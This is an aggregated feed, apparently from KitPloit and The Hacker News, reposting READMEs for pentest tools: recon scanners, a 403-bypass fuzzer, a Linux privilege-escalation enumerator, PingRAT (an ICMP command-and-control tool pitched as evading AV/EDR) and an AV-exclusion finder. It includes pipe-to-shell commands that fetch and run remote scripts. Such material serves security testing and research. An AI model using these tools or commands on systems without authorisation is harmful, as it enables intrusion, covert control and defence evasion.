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☐ β˜† βœ‡ KitPloit - PenTest Tools!

Secator - The Pentester'S Swiss Knife

By: Zion3R β€” September 22nd 2024 at 11:30


secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


Features

  • Curated list of commands

  • Unified input options

  • Unified output schema

  • CLI and library usage

  • Distributed options with Celery

  • Complexity from simple tasks to complex workflows

  • Customizable


Supported tools

secator integrates the following tools:

Name Description Category
httpx Fast HTTP prober. http
cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
gospider Fast web spider written in Go. http/crawler
katana Next-generation crawling and spidering framework. http/crawler
dirsearch Web path discovery. http/fuzzer
feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
ffuf Fast web fuzzer written in Go. http/fuzzer
h8mail Email OSINT and breach hunting tool. osint
dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
subfinder Fast subdomain finder. recon/dns
fping Find alive hosts on local networks. recon/ip
mapcidr Expand CIDR ranges into IPs. recon/ip
naabu Fast port discovery tool. recon/port
maigret Hunt for user accounts across many websites. recon/user
gf A wrapper around grep to avoid typing common patterns. tagger
grype A vulnerability scanner for container images and filesystems. vuln/code
dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
msfconsole CLI to access and work with the Metasploit Framework. vuln/http
wpscan WordPress Security Scanner vuln/multi
nmap Vulnerability scanner using NSE scripts. vuln/multi
nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
searchsploit Exploit searcher. exploit/search

Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

Installation

Installing secator

Pipx
pipx install secator
Pip
pip install secator
Bash
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
Docker
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
Now you can run secator like if it was installed on baremetal:
secator --help
Docker Compose
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help

Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

Installing languages

secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

We provide utilities to install required languages if you don't manage them externally:

Go
secator install langs go
Ruby
secator install langs ruby

Installing tools

secator does not install any of the external tools it supports by default.

We provide utilities to install or update each supported tool which should work on all systems supporting apt:

All tools
secator install tools
Specific tools
secator install tools <TOOL_NAME>
For instance, to install `httpx`, use:
secator install tools httpx

Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

Installing addons

secator comes installed with the minimum amount of dependencies.

There are several addons available for secator:

worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
secator install addons worker
google Add support for Google Drive exporter (`-o gdrive`).
secator install addons google
mongodb Add support for MongoDB driver (`-driver mongodb`).
secator install addons mongodb
redis Add support for Redis backend (Celery).
secator install addons redis
dev Add development tools like `coverage` and `flake8` required for running tests.
secator install addons dev
trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
secator install addons trace
build Add `hatch` for building and publishing the PyPI package.
secator install addons build

Install CVEs

secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

secator install cves

Checking installation health

To figure out which languages or tools are installed on your system (along with their version):

secator health

Usage

secator --help


Usage examples

Run a fuzzing task (ffuf):

secator x ffuf http://testphp.vulnweb.com/FUZZ

Run a url crawl workflow:

secator w url_crawl http://testphp.vulnweb.com

Run a host scan:

secator s host mydomain.com

and more... to list all tasks / workflows / scans that you can use:

secator x --help
secator w --help
secator s --help

Learn more

To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



☐ β˜† βœ‡ KitPloit - PenTest Tools!

CloudBrute - Awesome Cloud Enumerator

By: Zion3R β€” June 25th 2024 at 12:30


A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here


Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

  • separated wordlists
  • lack of proper concurrency
  • lack of supporting all major cloud providers
  • require authentication or keys or cloud CLI access
  • outdated endpoints and regions
  • Incorrect file storage detection
  • lack support for proxies (useful for bypassing region restrictions)
  • lack support for user agent randomization (useful for bypassing rare restrictions)
  • hard to use, poorly configured

Features

  • Cloud detection (IPINFO API and Source Code)
  • Supports all major providers
  • Black-Box (unauthenticated)
  • Fast (concurrent)
  • Modular and easily customizable
  • Cross Platform (windows, linux, mac)
  • User-Agent Randomization
  • Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http" # socks5 / http
ipinfo: "" # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•
β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β•šβ•β•β•β•β•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•β•β•β•β•
V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
-w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
<integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
[-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
[-m|--mode "<value>"] [-o|--output "<value>"]
[-C|--configFolder "<value>"]

Awesome Cloud Enumerator

Arguments:

-h --help Print help information
-d --domain domain
-k --keyword keyword used to generator urls
-w --wordlist path to wordlist
-c --cloud force a search, check config.yaml providers list
-t --threads number of threads. Default: 80
-T --timeout timeout per request in seconds. Default: 10
-p --proxy use proxy list
-a --randomagent user agent randomization
-D --debug show debug logs. Default: false
-q --quite suppress all output. Default: false
-m --mode storage or app. Default: storage
-o --output Output file. Default: out.txt
-C --configFolder Config path. Default: config


for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

  • Clone the repo
  • go build -o CloudBrute main.go
  • go test internal

in action

How to contribute

  • Add a module or fix something and then pull request.
  • Share it with whomever you believe can use it.
  • Do the extra work and share your findings with community β™₯

FAQ

How to make the best out of this tool?

Read the usage.

I get errors; what should I do?

Make sure you read the usage correctly, and if you think you found a bug open an issue.

When I use proxies, I get too many errors, or it's too slow?

It's because you use public proxies, use private and higher quality proxies. You can use ProxyFor to verify the good proxies with your chosen provider.

too fast or too slow ?

change -T (timeout) option to get best results for your run.

Credits

Inspired by every single repo listed here .



☐ β˜† βœ‡ The Hacker News

4-Step Approach to Mapping and Securing Your Organization's Most Critical Assets

By: The Hacker News β€” May 28th 2024 at 11:12
You’re probably familiar with the term β€œcritical assets”. These are the technology assets within your company's IT infrastructure that are essential to the functioning of your organization. If anything happens to these assets, such as application servers, databases, or privileged identities, the ramifications to your security posture can be severe.&nbsp; But is every technology asset considered
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Domainim - A Fast And Comprehensive Tool For Organizational Network Scanning

By: Zion3R β€” May 26th 2024 at 12:30


Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.


Features

Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)

A fast and comprehensive tool for organizational network scanning (6)

A fast and comprehensive tool for organizational network scanning (7)

  • Virtual hostname enumeration
  • Reverse DNS lookup

A fast and comprehensive tool for organizational network scanning (8)

  • Detects wildcard subdomains (for bruteforcing)

A fast and comprehensive tool for organizational network scanning (9)

  • Basic TCP port scanning
  • Subdomains are accepted as input

A fast and comprehensive tool for organizational network scanning (10)

  • Export results to JSON file

A fast and comprehensive tool for organizational network scanning (11)

A few features are work in progress. See Planned features for more details.

The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.

Installation

You can build this repo from source- - Clone the repository

git clone git@github.com:pptx704/domainim
  • Build the binary
nimble build
  • Run the binary
./domainim <domain> [--ports=<ports>]

Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.

Usage

./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
  • <domain> is the domain to be enumerated. It can be a subdomain as well.
  • -- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-
  • all - Scan all ports (1-65535)
  • none - Skip port scanning (default)
  • t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.
  • single value - Scan a single port. i.e. 80 scans port 80
  • range value - Scan a range of ports. i.e. 80-100 scans ports 80 to 100
  • comma separated values - Scan multiple ports. i.e. 80,443,8080 scans ports 80, 443 and 8080
  • combination - Scan a combination of the above. i.e. 80,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports
  • --dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-
  • a.b.c.d - Use DNS server at a.b.c.d on port 53
  • a.b.c.d#n - Use DNS server at a.b.c.d on port e
  • --wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.
  • --rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.
  • --out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.

Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=1.1.1.1

The help menu can be accessed using ./domainim --help or ./domainim -h.

Usage:
domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
domainim (-h | --help)

Options:
-h, --help Show this screen.
-p, --ports Ports to scan. [default: `none`]
Can be `all`, `none`, `t<n>`, single value, range value, combination
-l, --wordlist Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
-d, --dns IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
-r, --rps DNS queries to be made per second [default: 1024 req/s]
-o, --out JSON file where the output will be saved. Filename must end with `.json`

Examples:
domainim domainim.com -p:t500 -l:wordlist.txt --dns:1.1.1.1#53 --out=results.json
domainim sub.domainim.com --ports=all --dns:8.8.8.8 -t:1500 -o:results.json

The JSON schema for the results is as follows-

[
{
"subdomain": string,
"data": [
"ipv4": string,
"vhosts": [string],
"reverse_dns": string,
"ports": [int]
]
}
]

Example json for nmap.org can be found here.

Contributing

Contributions are welcome. Feel free to open a pull request or an issue.

Planned Features

  • [x] TCP port scanning
  • [ ] UDP port scanning support
  • [ ] Resolve AAAA records (IPv6)
  • [x] Custom DNS server
  • [x] Add bruteforcing subdomains using a wordlist
  • [ ] Force bruteforcing (even if wildcard subdomain is found)
  • [ ] Add more engines for subdomain enumeration
  • [x] File output (JSON)
  • [ ] Multiple domain enumeration
  • [ ] Dir and File busting

Others

  • [x] Update verbose output when encountering errors (v0.2.0)
  • [x] Show progress bar for longer operations
  • [ ] Add individual port scan progress bar
  • [ ] Add tests
  • [ ] Add comments and docstrings

Additional Notes

This project is still in its early stages. There are several limitations I am aware of.

The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).

The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).

It might seem that the way vhostnames are printed, it just brings repeition on the table.

A fast and comprehensive tool for organizational network scanning (12)

Printing as the following might've been better-

ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
↳ 45.33.49.119
↳ Reverse DNS: ack.nmap.org.

But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.

A fast and comprehensive tool for organizational network scanning (13)

DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.

One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.

For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.

Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.

License

MIT License. See LICENSE for full text.



☐ β˜† βœ‡ The Hacker News

QNAP Patches New Flaws in QTS and QuTS hero Impacting NAS Appliances

By: Newsroom β€” May 22nd 2024 at 05:15
Taiwanese company QNAP has rolled out fixes for a set of medium-severity flaws impacting QTS and QuTS hero, some of which could&nbsp;be exploited&nbsp;to achieve code execution on its network-attached storage (NAS) appliances. The&nbsp;issues, which impact QTS 5.1.x and QuTS hero h5.1.x, are listed below - CVE-2024-21902&nbsp;- An incorrect permission assignment for critical resource
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Linux-Smart-Enumeration - Linux Enumeration Tool For Pentesting And CTFs With Verbosity Levels

By: Zion3R β€” May 19th 2024 at 00:42


First, a couple of useful oneliners ;)

wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Note that since version 2.10 you can serve the script to other hosts with the -S flag!


linux-smart-enumeration

Linux enumeration tools for pentesting and CTFs

This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.

Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.

What is it?

This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.

From version 2.0 it is mostly POSIX compliant and tested with shellcheck and posh.

It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.

It has 3 levels of verbosity so you can control how much information you see.

In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.

By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.

How to use it?

The idea is to get the information gradually.

First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.

If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.

If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.

You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.

Use: ./lse.sh [options]

OPTIONS
-c Disable color
-i Non interactive mode
-h This help
-l LEVEL Output verbosity level
0: Show highly important results. (default)
1: Show interesting results.
2: Show all gathered information.
-s SELECTION Comma separated list of sections or tests to run. Available
sections:
usr: User related tests.
sud: Sudo related tests.
fst: File system related tests.
sys: System related tests.
sec: Security measures related tests.
ret: Recurren tasks (cron, timers) related tests.
net: Network related tests.
srv: Services related tests.
pro: Processes related tests.
sof: Software related tests.
ctn: Container (docker, lxc) related tests.
cve: CVE related tests.
Specific tests can be used with their IDs (i.e.: usr020,sud)
-e PATHS Comma separated list of paths to exclude. This allows you
to do faster scans at the cost of completeness
-p SECONDS Time that the process monitor will spend watching for
processes. A value of 0 will disable any watch (default: 60)
-S Serve the lse.sh script in this host so it can be retrieved
from a remote host.

Is it pretty?

Usage demo

Also available in webm video


Level 0 (default) output sample


Level 1 verbosity output sample


Level 2 verbosity output sample


Examples

Direct execution oneliners

bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i


☐ β˜† βœ‡ KitPloit - PenTest Tools!

Subhunter - A Fast Subdomain Takeover Tool

By: Zion3R β€” May 15th 2024 at 12:30


Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.


Features:

  • Auto update
  • Uses random user agents
  • Built in Go
  • Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)

Installation:

Option 1:

Download from releases

Option 2:

Build from source:

$ git clone https://github.com/Nemesis0U/Subhunter.git
$ go build subhunter.go

Usage:

Options:

Usage of subhunter:
-l string
File including a list of hosts to scan
-o string
File to save results
-t int
Number of threads for scanning (default 50)
-timeout int
Timeout in seconds (default 20)

Demo (Added fake fingerprint for POC):

./Subhunter -l subdomains.txt -o test.txt

____ _ _ _
/ ___| _ _ | |__ | |__ _ _ _ __ | |_ ___ _ __
\___ \ | | | | | '_ \ | '_ \ | | | | | '_ \ | __| / _ \ | '__|
___) | | |_| | | |_) | | | | | | |_| | | | | | | |_ | __/ | |
|____/ \__,_| |_.__/ |_| |_| \__,_| |_| |_| \__| \___| |_|


A fast subdomain takeover tool

Created by Nemesis

Loaded 88 fingerprints for current scan

-----------------------------------------------------------------------------

[+] Nothing found at www.ubereats.com: Not Vulnerable
[+] Nothing found at testauth.ubereats.com: Not Vulnerable
[+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
[+] Nothing found at about.ubereats.com: Not Vulnerable
[+] Nothing found at beta.ubereats.com: Not Vulnerable
[+] Nothing found at ewp.ubereats.com: Not Vulnerable
[+] Nothi ng found at edgetest.ubereats.com: Not Vulnerable
[+] Nothing found at guest.ubereats.com: Not Vulnerable
[+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
[+] Nothing found at info.ubereats.com: Not Vulnerable
[+] Nothing found at learn.ubereats.com: Not Vulnerable
[+] Nothing found at merchants.ubereats.com: Not Vulnerable
[+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
[+] Nothing found at messages.ubereats.com: Not Vulnerable
[+] Nothing found at order.ubereats.com: Not Vulnerable
[+] Nothing found at restaurants.ubereats.com: Not Vulnerable
[+] Nothing found at payments.ubereats.com: Not Vulnerable
[+] Nothing found at static.ubereats.com: Not Vulnerable

Subhunter exiting...
Results written to test.txt




☐ β˜† βœ‡ KitPloit - PenTest Tools!

BypassFuzzer - Fuzz 401/403/404 Pages For Bypasses

By: Zion3R β€” May 13th 2024 at 12:30


The original 403fuzzer.py :)

Fuzz 401/403ing endpoints for bypasses

This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.

It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.

I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.

You can now feed it raw HTTP requests that you save to a file from Burp.

Follow me on twitter! @intrudir


Usage

usage: bypassfuzzer.py -h

Specifying a request to test

Best method: Feed it a raw HTTP request from Burp!

Simply paste the request into a file and run the script!
- It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests

python3 bypassfuzzer.py -r request.txt

Using other flags

Specify a URL

python3 bypassfuzzer.py -u http://example.com/test1/test2/test3/forbidden.html

Specify cookies to use in requests:
some examples:

--cookies "cookie1=blah"
-c "cookie1=blah; cookie2=blah"

Specify a method/verb and body data to send

bypassfuzzer.py -u https://example.com/forbidden -m POST -d "param1=blah&param2=blah2"
bypassfuzzer.py -u https://example.com/forbidden -m PUT -d "param1=blah&param2=blah2"

Specify custom headers to use with every request Maybe you need to add some kind of auth header like Authorization: bearer <token>

Specify -H "header: value" for each additional header you'd like to add:

bypassfuzzer.py -u https://example.com/forbidden -H "Some-Header: blah" -H "Authorization: Bearer 1234567"

Smart filter feature!

Based on response code and length. If it sees a response 8 times or more it will automatically mute it.

Repeats are changeable in the code until I add an option to specify it in flag

NOTE: Can't be used simultaneously with -hc or -hl (yet)

# toggle smart filter on
bypassfuzzer.py -u https://example.com/forbidden --smart

Specify a proxy to use

Useful if you wanna proxy through Burp

bypassfuzzer.py -u https://example.com/forbidden --proxy http://127.0.0.1:8080

Skip sending header payloads or url payloads

# skip sending headers payloads
bypassfuzzer.py -u https://example.com/forbidden -sh
bypassfuzzer.py -u https://example.com/forbidden --skip-headers

# Skip sending path normailization payloads
bypassfuzzer.py -u https://example.com/forbidden -su
bypassfuzzer.py -u https://example.com/forbidden --skip-urls

Hide response code/length

Provide comma delimited lists without spaces. Examples:

# Hide response codes
bypassfuzzer.py -u https://example.com/forbidden -hc 403,404,400

# Hide response lengths of 638
bypassfuzzer.py -u https://example.com/forbidden -hl 638

TODO

  • [x] Automatically check other methods/verbs for bypass
  • [x] absolute domain attack
  • [ ] Add HTTP/2 support
  • [ ] Looking for ideas. Ping me on twitter! @intrudir


☐ β˜† βœ‡ KitPloit - PenTest Tools!

PingRAT - Secretly Passes C2 Traffic Through Firewalls Using ICMP Payloads

By: Zion3R β€” May 12th 2024 at 12:30


PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.

Features:

  • Uses ICMP for Command and Control
  • Undetectable by most AV/EDR solutions
  • Written in Go

Installation:

Download the binaries

or build the binaries and you are ready to go:

$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go

Usage:

Server:

./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)

Client:

./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)



☐ β˜† βœ‡ KitPloit - PenTest Tools!

SQLMC - Check All Urls Of A Domain For SQL Injections

By: Zion3R β€” May 10th 2024 at 12:30


SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.

Features

  • Scans a domain for SQL injection vulnerabilities
  • Crawls the given URL up to a specified depth
  • Checks each link for SQL injection vulnerabilities
  • Reports vulnerabilities along with server information and depth

Installation

  1. Install the required dependencies: bash pip3 install sqlmc

Usage

Run sqlmc with the following command-line arguments:

  • -u, --url: The URL to scan (required)
  • -d, --depth: The depth to scan (required)
  • -o, --output: The output file to save the results

Example usage:

sqlmc -u http://example.com -d 2

Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.

The tool will then perform the scan and display the results.

ToDo

  • Check for multiple GET params
  • Better injection checker trigger methods

Credits

License

This project is licensed under the GNU Affero General Public License v3.0.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

BadExclusionsNWBO - An Evolution From BadExclusions To Identify Folder Custom Or Undocumented Exclusions On AV/EDR

By: Zion3R β€” May 9th 2024 at 12:30


BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.

How it works?

BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.

